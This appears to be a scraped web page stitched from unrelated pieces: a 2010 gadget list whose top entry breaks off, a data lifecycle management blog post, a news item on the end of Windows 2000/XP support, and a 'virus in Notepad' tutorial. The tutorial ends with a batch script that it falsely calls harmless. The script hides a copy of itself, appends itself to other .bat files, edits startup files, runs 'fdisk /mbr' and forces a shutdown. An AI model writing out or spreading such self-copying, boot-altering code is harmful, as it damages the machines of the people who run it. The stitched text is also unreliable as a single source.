25 Most Promising New Products for 2010

25 Most Promising New Products for 2010

2010 is a promising year for bring you the most functional, promising, and novel of the batch. If youre tired of waiting for flying cars and voice-controlled sunglasses, this just might be your year.

25. nPower Personal Energy Generator



The PEG harvests one of the biggest energy hogs on earthyou. Place the little device into your bag or briefcase, plug in your cell phone, GPS, or iPod, and let your kinetic energy power up your gadgets while you walk. You can get an 80% charge in one hour through your own energy alone. Green and brilliant.

24. Flying Car: Terrafugia



Even though were well into the 2000s, nobody has come up with a Jetsons-style flying car. Until now. The Terrafugia Transition is more of a driving plane than a flying car, but its a promising first step. The worlds first street legal plane hits runways and highways in 2010.

23. Sony 3D-360 Hologram



No glasses needed! Just turn on your tabletop unit and enjoy a 360-degree view of images and possibly video through this stereoscopic display. Sony isnt yet sure what to use it for, but ads, video games, and medical visualizations are just a few ideas.

22. Xeros Waterless Washing Machine



The waterless washing machine isnt as sexy as some of the other gadgets arriving in 2010, but its conservation qualities should be applauded. It uses nylon beads and a spin cycle to clean your clothes, saving water while potentially reducing the need for dryers.

21. Recompute: The Cardboard Computer



Cardboard is the new black. Legions of product made primarily of corrugated cardboard are hitting the market. This little beauty will benefit anyone who has ever broken that little sticker while changing out a sound card or adding memory to a CPU.

20. Powermat Wireless Battery Charger



If youre tired of carrying around one charger per electronic toy, youre in luck. The Powermat lets you charge your iPhone, Blackberry, Nintendo DS, and most other gadgets on the same mat. One mat, one plug.

19. Samsung Water-Powered Battery



Sure, one mat, one plug is cool. But what if you didnt have to plug in at all? Samsung is speeding past the AC plug, around the solar charger, and directly into the water faucet. Its new micro-fuel cell and genereator rpowers your cell phone through water alone. Jurys still out on whether it will work long-term.

18. Camaro: Tranformers Edition



Love muscle cars? Have you seen Transformers more times than all your nieces and nephews?
Then this head-turner is for you. Note that the car does not actually transform, nor does it come with any multi-weaponry.

17. Apple Tablet



It has always been tough to determine what Apple will put out in the next year. But this time, the anecdotal evidence seems to add up. Its safe to say you will see a touchscreen-based tablet Apple product that will both fight with Kindle for books and netbook manufacturers for small computing.

16. The Honda Bicycle Simulator



As part of a universal quest to replicate outdoor activities without actually going outside, Honda has unveiled a new kind of bicycle. It doesnt actually go anywhere, but it does simulate real-life situations riders may face on the way to work or the store. Think of it as defensive driving for bicyclists.

15. Panasonic 50-inch 3D 1080p Plasma TV


Image: Slashgear

Have you noticed the slew of new movies coming out in 3D? This new kind of TV could be the reason. Once you spring for specialized glasses, a new Blu-ray player, and a bunch of 3-D DVDs, youll be ready for this TV.

14. Gibbs Quadski



Heres the scene. 007 is in the middle of an ATV chase, 4-wheelers spewing mud all around him as he speeds toward the sea. He looks like hes done for. Then, suddenly, he plows into the ocean and hits a button. The wheels on his ATV fold as he speeds away, spraying water on the bad guys. This ATV/Jetski can be yours next year, in the form of the Quadski. Bad guys not included.

13. Space Elevator


Image: Spaceward Foundation

You cant actually buy one of these, but you might be able to help build one and then own it. The Space Elevator, formerly the stuff of science fiction, will become reality in 2010, when building teams will compete for cashand bragging rightsto actually get it done.

12. 2010 Brabus Mercedes-Benz Viano Lounge



Tilt back in your leather lounge chair. Turn on the Sat TV. Load your Nespresso machine with the finest coffee beans in the world, then take a photo of it all with your iPhone. Load the photo and to your Twitpic from the on-board Sony Vaio laptop. Did I mention that you can do all this while cruising down the interstate at 80 mph? Classy.

11. Plasma Scalpel



Touted as a lightsaber for military doctors, the new plasma scalpel works by using ionized gas in a controlled light beam. This simultaneously slices and cauterizes a wound on the battlefield. Coming in 2010 to a war zone near you. Heres to hoping you never see one!

10. Touch Wood



Theres only one thing cooler than corrugated cardboard in technology. Its name is wood. The Japanese are leading a trend called Mori Girl (Forest girl), which aims to limit the use of plastic by using sustainable wood instead.

9. V12 Dual-Touchscreen Notebook



Canova 2.0 is working with an undisclosed US manufacturer to change the screen game. The new dual-LCD screen laptop could take the form of big iPhone-style touchscreens or, if theyre working with a different company (they wont say who it is), simply one of the neatest laptops ever to hit markets.

8. OnLive


Image: Onlive

OnLive is simple: Play the hottest video games from your TV, PC or Mac over a broadband connection. No console, no discs. Some very smart people are predicting that OnLive might be the console killer. That may be stretching it, but the technology seen at E3 is hard to argue with.

7. MyKey by Ford



Teens have a propensity for unsafe driving. Thats hardly news, but what parents can now do to encourage safe driving is. The MyKey can be set to control the vehicle by limiting speed, chiming when the gas tank is 75 miles from empty, and limiting the cars audio by as much as 44%. Kids will hate it. Thats probably why its such a good thing.

6. Tri-Specs


Image: TriSpecs

You have your phone, your iPod, your headphones, and your wi-fi headset, in case you get a call. You have your sunglasses. Youre ready to goor are you? What if you could pull on your shades and have all of the above, in one cool package? Enter Tri-Specs. They come built-in Bluetooth wireless headphones for an MP3 Player or cell phone, retractable earbuds, built-in volume control, and even voice control. For $200, you can be the coolest kid on the block.

5. Microsoft Xbox360 Project Natal



Now that Microsoft did the wireless controller right, theyre throwing it out the virtual Window in favor of Project Natal. Rumored to be coming at one of next years conferences, PN will have no controller or wires connecting you with the screen. Well see if it works.

4. Google Wave



Google has a way of inventing things that people do not know they need until they understand the product. Its latest such creation is Google Wave. Its not email. Its not chat. Rather, a Wave is a document that acts like a conversation, live and changeable on the fly. Rich media drives the experience. But you wont really know how much you need it until Google actually gives it to you.

3. The KS810 Keyboard Scan


Image: Geek.com

This keyboard with a fully-integrated scanner takes product hybridization one step further. The KS810 keyboard contains a full-color, 600dpi scanner that lets you drop scans into most online applications. If keyboard scanning isnt your thing, product creator Lifeworks is also offering a keyboard with a built-in iPod dock.

2. Corrugated Cardboard Laptop Case


Image: Inhabitat

If youre sick and tired of those cool-looking black leather laptop cases, rejoice! Giles Miller has designed a customizable cardboard box for that perfectly fits your little Netbook. You can even put your own logo on it. Take that, Targus.

1. Gocycle Electric Bicycle


Image: Mecho

What is Data Lifecycle Management?

The Data Lifecycle goes through 5 steps: creation, usage, transport, storage and destruction. Most companies have parts of this lifecycle under control, but that means there are lots of areas for gaps in the control measures that could let a threat affect the data. The multiple part blog, (I am not sure how many parts it will take), will walk through the steps of the data lifecycle and what a company can do to implement a good process for all the data management challenges.

Data lifecycle management (DLM) is a policy and procedure based approach to manage information movement. Data has to be classified and evaluated to properly protect it with the right resources. Ownership is a key factor in managing and maintaining data throughout the lifecycle

The 5 Steps

1. Creation – How does data creation get managed?
2. Usage – What limitations are on data usage?
3. Storage – What controls are in place for storage?
4. Transportation – How is data transmitted between company, customers and business partners?
5. Destruction – What is the validation and verification process over data destruction?

The Data Management Problem

• Weak processes in place to track creation usage, transportation, storage and destruction
• Weak ability to monitor and manage a customer record throughout the lifecycle
• Inconsistent processes across each phase of data movement
• Lack of enforcement capabilities

What should be the goal of data lifecycle management?

• Provide practical steps to manage each step of the customer record management process
• Provide cost effective solution for risk mitigation
• Provide framework for data management
• Reduce risk of data loss

Challenges to Customer Data Records Management

• Rarely does a company have a centralized process to track controls over data, over management processes around data, over logging and monitoring, and removal
• Organizations rely on technology to secure data not processes that drive technology purchases
• The 5 steps of data management are not followed by all functional groups in a company
• No clear ownership and classification of customer data elements

Did you know…

• 1 in 400 emails contains confidential information
• 1 in 50 network files contains confidential data
• 4 out of 5 companies have lost confidential data when a laptop was lost
• 1 in 2 USB drives contains confidential information
• Companies that incur a data breach experience a significant increase in customer turnover—as much as 11%
• Over 35 states have enacted security breach notification laws
• Can openers were invented 48 years after can

Why does traditional security not work for DLM?

Users have risky behavior. They will always have risk behavior and we rely on mostly technology controls to keep them in a secure box. Solutions aimed at the external threats coming in, not the regulation and governance of internal communications going out. Problems we see are typically:

• Unauthorized application use: 70% of IT say the use of unauthorized programs result in as many as half of data loss incidents.
• Misuse of corporate computers: 44% of employees share work devices with others without supervision.
• Unauthorized access: 39% of IT said they have dealt with an employee accessing unauthorized parts of a company’s network or facility.
• Remote worker security: 46% of employees transfer files between work and personal computers.
• Misuse of passwords: 18% of employees share passwords with co-workers.

The reasons typical technology controls will not work in the full DLM process are:

• Products are not geared to protect a full life cycle of a customer records
• Most solutions and processes are outward facing, based on perimeter security
• Encryption can affect data management
• Real-time intrusion detection and remediation is rare
• Context and intent of messages was not analyzed properly
• Functional areas in organizations create different policies, monitoring requirements, enforcement priorities and reporting
• New technologies can avoid security measures
• Technologies look at the network, the operating system or the application not the data across all environments
• Not mapped properly to regulations

What risks does customer data loss pose for organizations?

If we know that security is not working, what are the risks we face? A very recent example of how this can have a practical affect is with the Massachusetts Privacy Law 201 CMR 17.00. Loss of data can have a great financial impact with this law. Key things we need to consider include:

• Penalties: Not complying with regulations can cause civil and financial penalties
• Confidence: Loss of customer confidence because of a customer data breach can lose customers
• Reputation: Damage to reputation will lose customer and damage relationships
• Competitive Advantage: Information and customers can move to competitors
• Costs: Ponemon Institute’s 2008 annual study, average $6.6 million per breach.
• Valuation: Decreased stock prices could result

Microsoft will not support Win2000, XP from July 13

New Delhi: Support for Microsoft Windows 2000 and XP will be seen last on July 13 as the paid support, support assistance and security updates for these versions will be discontinued.

The support for online self help which includes Microsoft online Knowledge Base articles, FAQs and troubleshooting tools, will continue for another year, reports Times of India.

Windows 2000 users will have to switch to a more recent version of Windows and Windows XP SP2 or earlier version users can upgrade to Windows XP SP3, which can be done through Internet Explorer's Update utility. For the time being, Microsoft is offering support for its products for five years and extended support for another five years.

How To Create a Virus In Notepad ?

Understand the following: It's just a harmless "virus". It only prints some scary messages and finally shuts down the computer. As you start it again, your computer will work as it did before!
Read the virus: Below you see the Computer-Code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores. The explain you what the above line does.

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT

echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!

echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat

echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c "windows has shut down because the lsass service has incountered a write fault at 0x00000000000000000000000000000000000"